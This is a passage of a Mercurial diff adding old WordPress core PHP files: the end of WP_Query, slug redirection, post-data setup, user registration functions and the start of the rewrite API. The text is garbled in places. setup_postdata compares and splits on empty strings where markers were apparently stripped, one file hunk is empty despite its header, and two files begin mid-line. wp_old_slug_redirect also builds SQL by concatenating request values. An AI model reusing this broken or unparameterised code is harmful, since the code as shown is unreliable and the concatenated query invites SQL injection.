"$wpdb->posts.post_status = 'inherit'"; + if ( in_array( 'private', $q_status ) ) + $p_status[] = "$wpdb->posts.post_status = 'private'"; + if ( in_array( 'publish', $q_status ) ) + $r_status[] = "$wpdb->posts.post_status = 'publish'"; + if ( in_array( 'trash', $q_status ) ) + $r_status[] = "$wpdb->posts.post_status = 'trash'"; + } + + if ( empty($q['perm'] ) || 'readable' != $q['perm'] ) { + $r_status = array_merge($r_status, $p_status); + unset($p_status); + } + + if ( !empty($r_status) ) { + if ( !empty($q['perm'] ) && 'editable' == $q['perm'] && !current_user_can("edit_others_{$post_type_cap}s") ) + $statuswheres[] = "($wpdb->posts.post_author = $user_ID " . "AND (" . join( ' OR ', $r_status ) . "))"; + else + $statuswheres[] = "(" . join( ' OR ', $r_status ) . ")"; + } + if ( !empty($p_status) ) { + if ( !empty($q['perm'] ) && 'readable' == $q['perm'] && !current_user_can("read_private_{$post_type_cap}s") ) + $statuswheres[] = "($wpdb->posts.post_author = $user_ID " . "AND (" . join( ' OR ', $p_status ) . "))"; + else + $statuswheres[] = "(" . join( ' OR ', $p_status ) . ")"; + } + if ( $post_status_join ) { + $join .= " LEFT JOIN $wpdb->posts AS p2 ON ($wpdb->posts.post_parent = p2.ID) "; + foreach ( $statuswheres as $index => $statuswhere ) + $statuswheres[$index] = "($statuswhere OR ($wpdb->posts.post_status = 'inherit' AND " . str_replace($wpdb->posts, 'p2', $statuswhere) . "))"; + } + foreach ( $statuswheres as $statuswhere ) + $where .= " AND $statuswhere"; + } elseif ( !$this->is_singular ) { + $where .= " AND ($wpdb->posts.post_status = 'publish'"; + + if ( is_admin() ) + $where .= " OR $wpdb->posts.post_status = 'future' OR $wpdb->posts.post_status = 'draft' OR $wpdb->posts.post_status = 'pending'"; + + if ( is_user_logged_in() ) { + $where .= current_user_can( "read_private_{$post_type_cap}s" ) ? " OR $wpdb->posts.post_status = 'private'" : " OR $wpdb->posts.post_author = $user_ID AND $wpdb->posts.post_status = 'private'"; + } + + $where .= ')'; + } + + // postmeta queries + if ( ! empty($q['meta_key']) || ! empty($q['meta_value']) ) + $join .= " JOIN $wpdb->postmeta ON ($wpdb->posts.ID = $wpdb->postmeta.post_id) "; + if ( ! empty($q['meta_key']) ) + $where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s ", $q['meta_key']); + if ( ! empty($q['meta_value']) ) { + if ( ! isset($q['meta_compare']) || empty($q['meta_compare']) || ! in_array($q['meta_compare'], array('=', '!=', '>', '>=', '<', '<=')) ) + $q['meta_compare'] = '='; + + $where .= $wpdb->prepare("AND $wpdb->postmeta.meta_value {$q['meta_compare']} %s ", $q['meta_value']); + } + + // Apply filters on where and join prior to paging so that any + // manipulations to them are reflected in the paging by day queries. + if ( !$q['suppress_filters'] ) { + $where = apply_filters('posts_where', $where); + $join = apply_filters('posts_join', $join); + } + + // Paging + if ( empty($q['nopaging']) && !$this->is_singular ) { + $page = absint($q['paged']); + if (empty($page)) { + $page = 1; + } + + if ( empty($q['offset']) ) { + $pgstrt = ''; + $pgstrt = ($page - 1) * $q['posts_per_page'] . ', '; + $limits = 'LIMIT '.$pgstrt.$q['posts_per_page']; + } else { // we're ignoring $page and using 'offset' + $q['offset'] = absint($q['offset']); + $pgstrt = $q['offset'] . ', '; + $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; + } + } + + // Comments feeds + if ( $this->is_comment_feed && ( $this->is_archive || $this->is_search || !$this->is_singular ) ) { + if ( $this->is_archive || $this->is_search ) { + $cjoin = "JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) $join "; + $cwhere = "WHERE comment_approved = '1' $where"; + $cgroupby = "$wpdb->comments.comment_id"; + } else { // Other non singular e.g. front + $cjoin = "JOIN $wpdb->posts ON ( $wpdb->comments.comment_post_ID = $wpdb->posts.ID )"; + $cwhere = "WHERE post_status = 'publish' AND comment_approved = '1'"; + $cgroupby = ''; + } + + if ( !$q['suppress_filters'] ) { + $cjoin = apply_filters('comment_feed_join', $cjoin); + $cwhere = apply_filters('comment_feed_where', $cwhere); + $cgroupby = apply_filters('comment_feed_groupby', $cgroupby); + $corderby = apply_filters('comment_feed_orderby', 'comment_date_gmt DESC'); + $climits = apply_filters('comment_feed_limits', 'LIMIT ' . get_option('posts_per_rss')); + } + $cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : ''; + $corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : ''; + + $this->comments = (array) $wpdb->get_results("SELECT $distinct $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits"); + $this->comment_count = count($this->comments); + + $post_ids = array(); + + foreach ($this->comments as $comment) + $post_ids[] = (int) $comment->comment_post_ID; + + $post_ids = join(',', $post_ids); + $join = ''; + if ( $post_ids ) + $where = "AND $wpdb->posts.ID IN ($post_ids) "; + else + $where = "AND 0"; + } + + $orderby = $q['orderby']; + + // Apply post-paging filters on where and join. Only plugins that + // manipulate paging queries should use these hooks. + if ( !$q['suppress_filters'] ) { + $where = apply_filters('posts_where_paged', $where); + $groupby = apply_filters('posts_groupby', $groupby); + $join = apply_filters('posts_join_paged', $join); + $orderby = apply_filters('posts_orderby', $orderby); + $distinct = apply_filters('posts_distinct', $distinct); + $limits = apply_filters( 'post_limits', $limits ); + + $fields = apply_filters('posts_fields', $fields); + } + + // Announce current selection parameters. For use by caching plugins. + do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join ); + + // Filter again for the benefit of caching plugins. Regular plugins should use the hooks above. + if ( !$q['suppress_filters'] ) { + $where = apply_filters('posts_where_request', $where); + $groupby = apply_filters('posts_groupby_request', $groupby); + $join = apply_filters('posts_join_request', $join); + $orderby = apply_filters('posts_orderby_request', $orderby); + $distinct = apply_filters('posts_distinct_request', $distinct); + $fields = apply_filters('posts_fields_request', $fields); + $limits = apply_filters( 'post_limits_request', $limits ); + } + + if ( ! empty($groupby) ) + $groupby = 'GROUP BY ' . $groupby; + if ( !empty( $orderby ) ) + $orderby = 'ORDER BY ' . $orderby; + $found_rows = ''; + if ( !empty($limits) ) + $found_rows = 'SQL_CALC_FOUND_ROWS'; + + $this->request = " SELECT $found_rows $distinct $fields FROM $wpdb->posts $join WHERE 1=1 $where $groupby $orderby $limits"; + if ( !$q['suppress_filters'] ) + $this->request = apply_filters('posts_request', $this->request); + + $this->posts = $wpdb->get_results($this->request); + // Raw results filter. Prior to status checks. + if ( !$q['suppress_filters'] ) + $this->posts = apply_filters('posts_results', $this->posts); + + if ( !empty($this->posts) && $this->is_comment_feed && $this->is_singular ) { + $cjoin = apply_filters('comment_feed_join', ''); + $cwhere = apply_filters('comment_feed_where', "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'"); + $cgroupby = apply_filters('comment_feed_groupby', ''); + $cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : ''; + $corderby = apply_filters('comment_feed_orderby', 'comment_date_gmt DESC'); + $corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : ''; + $climits = apply_filters('comment_feed_limits', 'LIMIT ' . get_option('posts_per_rss')); + $comments_request = "SELECT $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits"; + $this->comments = $wpdb->get_results($comments_request); + $this->comment_count = count($this->comments); + } + + if ( !empty($limits) ) { + $found_posts_query = apply_filters( 'found_posts_query', 'SELECT FOUND_ROWS()' ); + $this->found_posts = $wpdb->get_var( $found_posts_query ); + $this->found_posts = apply_filters( 'found_posts', $this->found_posts ); + $this->max_num_pages = ceil($this->found_posts / $q['posts_per_page']); + } + + // Check post status to determine if post should be displayed. + if ( !empty($this->posts) && ($this->is_single || $this->is_page) ) { + $status = get_post_status($this->posts[0]); + //$type = get_post_type($this->posts[0]); + if ( ('publish' != $status) ) { + if ( ! is_user_logged_in() ) { + // User must be logged in to view unpublished posts. + $this->posts = array(); + } else { + if (in_array($status, array('draft', 'pending', 'trash')) ) { + // User must have edit permissions on the draft to preview. + if (! current_user_can("edit_$post_type_cap", $this->posts[0]->ID)) { + $this->posts = array(); + } else { + $this->is_preview = true; + $this->posts[0]->post_date = current_time('mysql'); + } + } else if ('future' == $status) { + $this->is_preview = true; + if (!current_user_can("edit_$post_type_cap", $this->posts[0]->ID)) { + $this->posts = array ( ); + } + } else { + if (! current_user_can("read_$post_type_cap", $this->posts[0]->ID)) + $this->posts = array(); + } + } + } + + if ( $this->is_preview && current_user_can( "edit_{$post_type_cap}", $this->posts[0]->ID ) ) + $this->posts[0] = apply_filters('the_preview', $this->posts[0]); + } + + // Put sticky posts at the top of the posts array + $sticky_posts = get_option('sticky_posts'); + if ( $this->is_home && $page <= 1 && is_array($sticky_posts) && !empty($sticky_posts) && !$q['caller_get_posts'] ) { + $num_posts = count($this->posts); + $sticky_offset = 0; + // Loop over posts and relocate stickies to the front. + for ( $i = 0; $i < $num_posts; $i++ ) { + if ( in_array($this->posts[$i]->ID, $sticky_posts) ) { + $sticky_post = $this->posts[$i]; + // Remove sticky from current position + array_splice($this->posts, $i, 1); + // Move to front, after other stickies + array_splice($this->posts, $sticky_offset, 0, array($sticky_post)); + // Increment the sticky offset. The next sticky will be placed at this offset. + $sticky_offset++; + // Remove post from sticky posts array + $offset = array_search($sticky_post->ID, $sticky_posts); + array_splice($sticky_posts, $offset, 1); + } + } + + // Fetch sticky posts that weren't in the query results + if ( !empty($sticky_posts) ) { + $stickies__in = implode(',', array_map( 'absint', $sticky_posts )); + // honor post type(s) if not set to any + $stickies_where = ''; + if ( 'any' != $post_type && '' != $post_type ) { + if ( is_array( $post_type ) ) { + $post_types = join( "', '", $post_type ); + } else { + $post_types = $post_type; + } + $stickies_where = "AND $wpdb->posts.post_type IN ('" . $post_types . "')"; + } + $stickies = $wpdb->get_results( "SELECT * FROM $wpdb->posts WHERE $wpdb->posts.ID IN ($stickies__in) $stickies_where" ); + /** @todo Make sure post is published or viewable by the current user */ + foreach ( $stickies as $sticky_post ) { + if ( 'publish' != $sticky_post->post_status ) + continue; + array_splice($this->posts, $sticky_offset, 0, array($sticky_post)); + $sticky_offset++; + } + } + } + + if ( !$q['suppress_filters'] ) + $this->posts = apply_filters('the_posts', $this->posts); + + $this->post_count = count($this->posts); + + // Sanitize before caching so it'll only get done once + for ($i = 0; $i < $this->post_count; $i++) { + $this->posts[$i] = sanitize_post($this->posts[$i], 'raw'); + } + + update_post_caches($this->posts); + + if ($this->post_count > 0) { + $this->post = $this->posts[0]; + } + + return $this->posts; + } + + /** + * Setup the next post and iterate current post index. + * + * @since 1.5.0 + * @access public + * + * @return object Next post. + */ + function next_post() { + + $this->current_post++; + + $this->post = $this->posts[$this->current_post]; + return $this->post; + } + + /** + * Sets up the current post. + * + * Retrieves the next post, sets up the post, sets the 'in the loop' + * property to true. + * + * @since 1.5.0 + * @access public + * @uses $post + * @uses do_action_ref_array() Calls 'loop_start' if loop has just started + */ + function the_post() { + global $post; + $this->in_the_loop = true; + + if ( $this->current_post == -1 ) // loop has just started + do_action_ref_array('loop_start', array(&$this)); + + $post = $this->next_post(); + setup_postdata($post); + } + + /** + * Whether there are more posts available in the loop. + * + * Calls action 'loop_end', when the loop is complete. + * + * @since 1.5.0 + * @access public + * @uses do_action_ref_array() Calls 'loop_end' if loop is ended + * + * @return bool True if posts are available, false if end of loop. + */ + function have_posts() { + if ($this->current_post + 1 < $this->post_count) { + return true; + } elseif ($this->current_post + 1 == $this->post_count && $this->post_count > 0) { + do_action_ref_array('loop_end', array(&$this)); + // Do some cleaning up after the loop + $this->rewind_posts(); + } + + $this->in_the_loop = false; + return false; + } + + /** + * Rewind the posts and reset post index. + * + * @since 1.5.0 + * @access public + */ + function rewind_posts() { + $this->current_post = -1; + if ($this->post_count > 0) { + $this->post = $this->posts[0]; + } + } + + /** + * Iterate current comment index and return comment object. + * + * @since 2.2.0 + * @access public + * + * @return object Comment object. + */ + function next_comment() { + $this->current_comment++; + + $this->comment = $this->comments[$this->current_comment]; + return $this->comment; + } + + /** + * Sets up the current comment. + * + * @since 2.2.0 + * @access public + * @global object $comment Current comment. + * @uses do_action() Calls 'comment_loop_start' hook when first comment is processed. + */ + function the_comment() { + global $comment; + + $comment = $this->next_comment(); + + if ($this->current_comment == 0) { + do_action('comment_loop_start'); + } + } + + /** + * Whether there are more comments available. + * + * Automatically rewinds comments when finished. + * + * @since 2.2.0 + * @access public + * + * @return bool True, if more comments. False, if no more posts. + */ + function have_comments() { + if ($this->current_comment + 1 < $this->comment_count) { + return true; + } elseif ($this->current_comment + 1 == $this->comment_count) { + $this->rewind_comments(); + } + + return false; + } + + /** + * Rewind the comments, resets the comment index and comment to first. + * + * @since 2.2.0 + * @access public + */ + function rewind_comments() { + $this->current_comment = -1; + if ($this->comment_count > 0) { + $this->comment = $this->comments[0]; + } + } + + /** + * Sets up the WordPress query by parsing query string. + * + * @since 1.5.0 + * @access public + * + * @param string $query URL query string. + * @return array List of posts. + */ + function &query($query) { + $this->parse_query($query); + return $this->get_posts(); + } + + /** + * Retrieve queried object. + * + * If queried object is not set, then the queried object will be set from + * the category, tag, taxonomy, posts page, single post, page, or author + * query variable. After it is set up, it will be returned. + * + * @since 1.5.0 + * @access public + * + * @return object + */ + function get_queried_object() { + if (isset($this->queried_object)) { + return $this->queried_object; + } + + $this->queried_object = NULL; + $this->queried_object_id = 0; + + if ($this->is_category) { + $cat = $this->get('cat'); + $category = &get_category($cat); + if ( is_wp_error( $category ) ) + return NULL; + $this->queried_object = &$category; + $this->queried_object_id = (int) $cat; + } else if ($this->is_tag) { + $tag_id = $this->get('tag_id'); + $tag = &get_term($tag_id, 'post_tag'); + if ( is_wp_error( $tag ) ) + return NULL; + $this->queried_object = &$tag; + $this->queried_object_id = (int) $tag_id; + } else if ($this->is_tax) { + $tax = $this->get('taxonomy'); + $slug = $this->get('term'); + $term = &get_terms($tax, array('slug'=>$slug)); + if ( is_wp_error($term) || empty($term) ) + return NULL; + $term = $term[0]; + $this->queried_object = $term; + $this->queried_object_id = $term->term_id; + } else if ($this->is_posts_page) { + $this->queried_object = & get_page(get_option('page_for_posts')); + $this->queried_object_id = (int) $this->queried_object->ID; + } else if ($this->is_single) { + $this->queried_object = $this->post; + $this->queried_object_id = (int) $this->post->ID; + } else if ($this->is_page) { + $this->queried_object = $this->post; + $this->queried_object_id = (int) $this->post->ID; + } else if ($this->is_author) { + $author_id = (int) $this->get('author'); + $author = get_userdata($author_id); + $this->queried_object = $author; + $this->queried_object_id = $author_id; + } + + return $this->queried_object; + } + + /** + * Retrieve ID of the current queried object. + * + * @since 1.5.0 + * @access public + * + * @return int + */ + function get_queried_object_id() { + $this->get_queried_object(); + + if (isset($this->queried_object_id)) { + return $this->queried_object_id; + } + + return 0; + } + + /** + * PHP4 type constructor. + * + * Sets up the WordPress query, if parameter is not empty. + * + * @since 1.5.0 + * @access public + * + * @param string $query URL query string. + * @return WP_Query + */ + function WP_Query ($query = '') { + if (! empty($query)) { + $this->query($query); + } + } +} + +/** + * Redirect old slugs to the correct permalink. + * + * Attempts to find the current slug from the past slugs. + * + * @since 2.1.0 + * @uses $wp_query + * @uses $wpdb + * + * @return null If no link is found, null is returned. + */ +function wp_old_slug_redirect () { + global $wp_query; + if ( is_404() && '' != $wp_query->query_vars['name'] ) : + global $wpdb; + + $query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'"; + + // if year, monthnum, or day have been specified, make our query more precise + // just in case there are multiple identical _wp_old_slug values + if ( '' != $wp_query->query_vars['year'] ) + $query .= " AND YEAR(post_date) = '{$wp_query->query_vars['year']}'"; + if ( '' != $wp_query->query_vars['monthnum'] ) + $query .= " AND MONTH(post_date) = '{$wp_query->query_vars['monthnum']}'"; + if ( '' != $wp_query->query_vars['day'] ) + $query .= " AND DAYOFMONTH(post_date) = '{$wp_query->query_vars['day']}'"; + + $id = (int) $wpdb->get_var($query); + + if ( !$id ) + return; + + $link = get_permalink($id); + + if ( !$link ) + return; + + wp_redirect($link, '301'); // Permanent redirect + exit; + endif; +} + +/** + * Setup global post data. + * + * @since 1.5.0 + * + * @param object $post Post data. + * @uses do_action_ref_array() Calls 'the_post' + * @return bool True when finished. + */ +function setup_postdata($post) { + global $id, $authordata, $day, $currentmonth, $page, $pages, $multipage, $more, $numpages; + + $id = (int) $post->ID; + + $authordata = get_userdata($post->post_author); + + $day = mysql2date('d.m.y', $post->post_date, false); + $currentmonth = mysql2date('m', $post->post_date, false); + $numpages = 1; + $page = get_query_var('page'); + if ( !$page ) + $page = 1; + if ( is_single() || is_page() || is_feed() ) + $more = 1; + $content = $post->post_content; + if ( strpos( $content, '' ) ) { + if ( $page > 1 ) + $more = 1; + $multipage = 1; + $content = str_replace("\n\n", '', $content); + $content = str_replace("\n", '', $content); + $content = str_replace("\n", '', $content); + $pages = explode('', $content); + $numpages = count($pages); + } else { + $pages[0] = $post->post_content; + $multipage = 0; + } + + do_action_ref_array('the_post', array(&$post)); + + return true; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/registration-functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/registration-functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,9 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/registration.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/registration.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,319 @@ +ID; + } else { + return null; + } +} + +/** + * Checks whether the given email exists. + * + * @since 2.1.0 + * @uses $wpdb + * + * @param string $email Email. + * @return bool|int The user's ID on success, and false on failure. + */ +function email_exists( $email ) { + if ( $user = get_user_by_email($email) ) + return $user->ID; + + return false; +} + +/** + * Checks whether an username is valid. + * + * @since 2.0.1 + * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters + * + * @param string $username Username. + * @return bool Whether username given is valid + */ +function validate_username( $username ) { + $sanitized = sanitize_user( $username, true ); + $valid = ( $sanitized == $username ); + return apply_filters( 'validate_username', $valid, $username ); +} + +/** + * Insert an user into the database. + * + * Can update a current user or insert a new user based on whether the user's ID + * is present. + * + * Can be used to update the user's info (see below), set the user's role, and + * set the user's preference on whether they want the rich editor on. + * + * Most of the $userdata array fields have filters associated with the values. + * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim', + * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed + * by the field name. An example using 'description' would have the filter + * called, 'pre_user_description' that can be hooked into. + * + * The $userdata array can contain the following fields: + * 'ID' - An integer that will be used for updating an existing user. + * 'user_pass' - A string that contains the plain text password for the user. + * 'user_login' - A string that contains the user's username for logging in. + * 'user_nicename' - A string that contains a nicer looking name for the user. + * The default is the user's username. + * 'user_url' - A string containing the user's URL for the user's web site. + * 'user_email' - A string containing the user's email address. + * 'display_name' - A string that will be shown on the site. Defaults to user's + * username. It is likely that you will want to change this, for both + * appearance and security through obscurity (that is if you don't use and + * delete the default 'admin' user). + * 'nickname' - The user's nickname, defaults to the user's username. + * 'first_name' - The user's first name. + * 'last_name' - The user's last name. + * 'description' - A string containing content about the user. + * 'rich_editing' - A string for whether to enable the rich editor or not. False + * if not empty. + * 'user_registered' - The date the user registered. Format is 'Y-m-d H:i:s'. + * 'role' - A string used to set the user's role. + * 'jabber' - User's Jabber account. + * 'aim' - User's AOL IM account. + * 'yim' - User's Yahoo IM account. + * + * @since 2.0.0 + * @uses $wpdb WordPress database layer. + * @uses apply_filters() Calls filters for most of the $userdata fields with the prefix 'pre_user'. See note above. + * @uses do_action() Calls 'profile_update' hook when updating giving the user's ID + * @uses do_action() Calls 'user_register' hook when creating a new user giving the user's ID + * + * @param array $userdata An array of user data. + * @return int The newly created user's ID. + */ +function wp_insert_user($userdata) { + global $wpdb; + + extract($userdata, EXTR_SKIP); + + // Are we updating or creating? + if ( !empty($ID) ) { + $ID = (int) $ID; + $update = true; + $old_user_data = get_userdata($ID); + } else { + $update = false; + // Hash the password + $user_pass = wp_hash_password($user_pass); + } + + $user_login = sanitize_user($user_login, true); + $user_login = apply_filters('pre_user_login', $user_login); + + if ( empty($user_nicename) ) + $user_nicename = sanitize_title( $user_login ); + $user_nicename = apply_filters('pre_user_nicename', $user_nicename); + + if ( empty($user_url) ) + $user_url = ''; + $user_url = apply_filters('pre_user_url', $user_url); + + if ( empty($user_email) ) + $user_email = ''; + $user_email = apply_filters('pre_user_email', $user_email); + + if ( empty($display_name) ) + $display_name = $user_login; + $display_name = apply_filters('pre_user_display_name', $display_name); + + if ( empty($nickname) ) + $nickname = $user_login; + $nickname = apply_filters('pre_user_nickname', $nickname); + + if ( empty($first_name) ) + $first_name = ''; + $first_name = apply_filters('pre_user_first_name', $first_name); + + if ( empty($last_name) ) + $last_name = ''; + $last_name = apply_filters('pre_user_last_name', $last_name); + + if ( empty($description) ) + $description = ''; + $description = apply_filters('pre_user_description', $description); + + if ( empty($rich_editing) ) + $rich_editing = 'true'; + + if ( empty($comment_shortcuts) ) + $comment_shortcuts = 'false'; + + if ( empty($admin_color) ) + $admin_color = 'fresh'; + $admin_color = preg_replace('|[^a-z0-9 _.\-@]|i', '', $admin_color); + + if ( empty($use_ssl) ) + $use_ssl = 0; + + if ( empty($user_registered) ) + $user_registered = gmdate('Y-m-d H:i:s'); + + $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login)); + + if ( $user_nicename_check ) { + $suffix = 2; + while ($user_nicename_check) { + $alt_user_nicename = $user_nicename . "-$suffix"; + $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login)); + $suffix++; + } + $user_nicename = $alt_user_nicename; + } + + $data = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' ); + $data = stripslashes_deep( $data ); + + if ( $update ) { + $wpdb->update( $wpdb->users, $data, compact( 'ID' ) ); + $user_id = (int) $ID; + } else { + $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) ); + $user_id = (int) $wpdb->insert_id; + } + + update_usermeta( $user_id, 'first_name', $first_name); + update_usermeta( $user_id, 'last_name', $last_name); + update_usermeta( $user_id, 'nickname', $nickname ); + update_usermeta( $user_id, 'description', $description ); + update_usermeta( $user_id, 'rich_editing', $rich_editing); + update_usermeta( $user_id, 'comment_shortcuts', $comment_shortcuts); + update_usermeta( $user_id, 'admin_color', $admin_color); + update_usermeta( $user_id, 'use_ssl', $use_ssl); + + foreach ( _wp_get_user_contactmethods() as $method => $name ) { + if ( empty($$method) ) + $$method = ''; + + update_usermeta( $user_id, $method, $$method ); + } + + if ( isset($role) ) { + $user = new WP_User($user_id); + $user->set_role($role); + } elseif ( !$update ) { + $user = new WP_User($user_id); + $user->set_role(get_option('default_role')); + } + + wp_cache_delete($user_id, 'users'); + wp_cache_delete($user_login, 'userlogins'); + + if ( $update ) + do_action('profile_update', $user_id, $old_user_data); + else + do_action('user_register', $user_id); + + return $user_id; +} + +/** + * Update an user in the database. + * + * It is possible to update a user's password by specifying the 'user_pass' + * value in the $userdata parameter array. + * + * If $userdata does not contain an 'ID' key, then a new user will be created + * and the new user's ID will be returned. + * + * If current user's password is being updated, then the cookies will be + * cleared. + * + * @since 2.0.0 + * @see wp_insert_user() For what fields can be set in $userdata + * @uses wp_insert_user() Used to update existing user or add new one if user doesn't exist already + * + * @param array $userdata An array of user data. + * @return int The updated user's ID. + */ +function wp_update_user($userdata) { + $ID = (int) $userdata['ID']; + + // First, get all of the original fields + $user = get_userdata($ID); + + // Escape data pulled from DB. + $user = add_magic_quotes(get_object_vars($user)); + + // If password is changing, hash it now. + if ( ! empty($userdata['user_pass']) ) { + $plaintext_pass = $userdata['user_pass']; + $userdata['user_pass'] = wp_hash_password($userdata['user_pass']); + } + + // Merge old and new fields with new fields overwriting old ones. + $userdata = array_merge($user, $userdata); + $user_id = wp_insert_user($userdata); + + // Update the cookies if the password changed. + $current_user = wp_get_current_user(); + if ( $current_user->id == $ID ) { + if ( isset($plaintext_pass) ) { + wp_clear_auth_cookie(); + wp_set_auth_cookie($ID); + } + } + + return $user_id; +} + +/** + * A simpler way of inserting an user into the database. + * + * Creates a new user with just the username, password, and email. For a more + * detail creation of a user, use wp_insert_user() to specify more infomation. + * + * @since 2.0.0 + * @see wp_insert_user() More complete way to create a new user + * + * @param string $username The user's username. + * @param string $password The user's password. + * @param string $email The user's email (optional). + * @return int The new user's ID. + */ +function wp_create_user($username, $password, $email = '') { + $user_login = esc_sql( $username ); + $user_email = esc_sql( $email ); + $user_pass = $password; + + $userdata = compact('user_login', 'user_email', 'user_pass'); + return wp_insert_user($userdata); +} + + +/** + * Setup the default contact methods + * + * @access private + * @since + * + * @return array $user_contactmethods Array of contact methods and their labels. + */ +function _wp_get_user_contactmethods() { + $user_contactmethods = array( + 'aim' => __('AIM'), + 'yim' => __('Yahoo IM'), + 'jabber' => __('Jabber / Google Talk') + ); + return apply_filters('user_contactmethods',$user_contactmethods); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/rewrite.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/rewrite.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1966 @@ +add_rule($regex, $redirect, $after); +} + +/** + * Add a new tag (like %postname%). + * + * Warning: you must call this on init or earlier, otherwise the query var + * addition stuff won't work. + * + * @since 2.1.0 + * + * @param string $tagname + * @param string $regex + */ +function add_rewrite_tag($tagname, $regex) { + //validation + if (strlen($tagname) < 3 || $tagname{0} != '%' || $tagname{strlen($tagname)-1} != '%') { + return; + } + + $qv = trim($tagname, '%'); + + global $wp_rewrite, $wp; + $wp->add_query_var($qv); + $wp_rewrite->add_rewrite_tag($tagname, $regex, $qv . '='); +} + +/** + * Add a new feed type like /atom1/. + * + * @since 2.1.0 + * + * @param string $feedname + * @param callback $function Callback to run on feed display. + * @return string Feed action name. + */ +function add_feed($feedname, $function) { + global $wp_rewrite; + if (!in_array($feedname, $wp_rewrite->feeds)) { //override the file if it is + $wp_rewrite->feeds[] = $feedname; + } + $hook = 'do_feed_' . $feedname; + // Remove default function hook + remove_action($hook, $hook, 10, 1); + add_action($hook, $function, 10, 1); + return $hook; +} + +/** + * Endpoint Mask for Permalink. + * + * @since 2.1.0 + */ +define('EP_PERMALINK', 1); + +/** + * Endpoint Mask for Attachment. + * + * @since 2.1.0 + */ +define('EP_ATTACHMENT', 2); + +/** + * Endpoint Mask for date. + * + * @since 2.1.0 + */ +define('EP_DATE', 4); + +/** + * Endpoint Mask for year + * + * @since 2.1.0 + */ +define('EP_YEAR', 8); + +/** + * Endpoint Mask for month. + * + * @since 2.1.0 + */ +define('EP_MONTH', 16); + +/** + * Endpoint Mask for day. + * + * @since 2.1.0 + */ +define('EP_DAY', 32); + +/** + * Endpoint Mask for root. + * + * @since 2.1.0 + */ +define('EP_ROOT', 64); + +/** + * Endpoint Mask for comments. + * + * @since 2.1.0 + */ +define('EP_COMMENTS', 128); + +/** + * Endpoint Mask for searches. + * + * @since 2.1.0 + */ +define('EP_SEARCH', 256); + +/** + * Endpoint Mask for categories. + * + * @since 2.1.0 + */ +define('EP_CATEGORIES', 512); + +/** + * Endpoint Mask for tags. + * + * @since 2.3.0 + */ +define('EP_TAGS', 1024); + +/** + * Endpoint Mask for authors. + * + * @since 2.1.0 + */ +define('EP_AUTHORS', 2048); + +/** + * Endpoint Mask for pages. + * + * @since 2.1.0 + */ +define('EP_PAGES', 4096); + +//pseudo-places +/** + * Endpoint Mask for default, which is nothing. + * + * @since 2.1.0 + */ +define('EP_NONE', 0); + +/** + * Endpoint Mask for everything. + * + * @since 2.1.0 + */ +define('EP_ALL', 8191); + +/** + * Add an endpoint, like /trackback/. + * + * The endpoints are added to the end of the request. So a request matching + * "/2008/10/14/my_post/myep/", the endpoint will be "/myep/". + * + * Be sure to flush the rewrite rules (wp_rewrite->flush()) when your plugin gets + * activated (register_activation_hook()) and deactivated (register_deactivation_hook()) + * + * @since 2.1.0 + * @see WP_Rewrite::add_endpoint() Parameters and more description. + * @uses $wp_rewrite + * + * @param unknown_type $name + * @param unknown_type $places + */ +function add_rewrite_endpoint($name, $places) { + global $wp_rewrite; + $wp_rewrite->add_endpoint($name, $places); +} + +/** + * Filter the URL base for taxonomies. + * + * To remove any manually prepended /index.php/. + * + * @access private + * @since 2.6.0 + * @author Mark Jaquith + * + * @param string $base The taxonomy base that we're going to filter + * @return string + */ +function _wp_filter_taxonomy_base( $base ) { + if ( !empty( $base ) ) { + $base = preg_replace( '|^/index\.php/|', '', $base ); + $base = trim( $base, '/' ); + } + return $base; +} + +/** + * Examine a url and try to determine the post ID it represents. + * + * Checks are supposedly from the hosted site blog. + * + * @since 1.0.0 + * + * @param string $url Permalink to check. + * @return int Post ID, or 0 on failure. + */ +function url_to_postid($url) { + global $wp_rewrite; + + $url = apply_filters('url_to_postid', $url); + + // First, check to see if there is a 'p=N' or 'page_id=N' to match against + if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) ) { + $id = absint($values[2]); + if ($id) + return $id; + } + + // Check to see if we are using rewrite rules + $rewrite = $wp_rewrite->wp_rewrite_rules(); + + // Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options + if ( empty($rewrite) ) + return 0; + + // $url cleanup by Mark 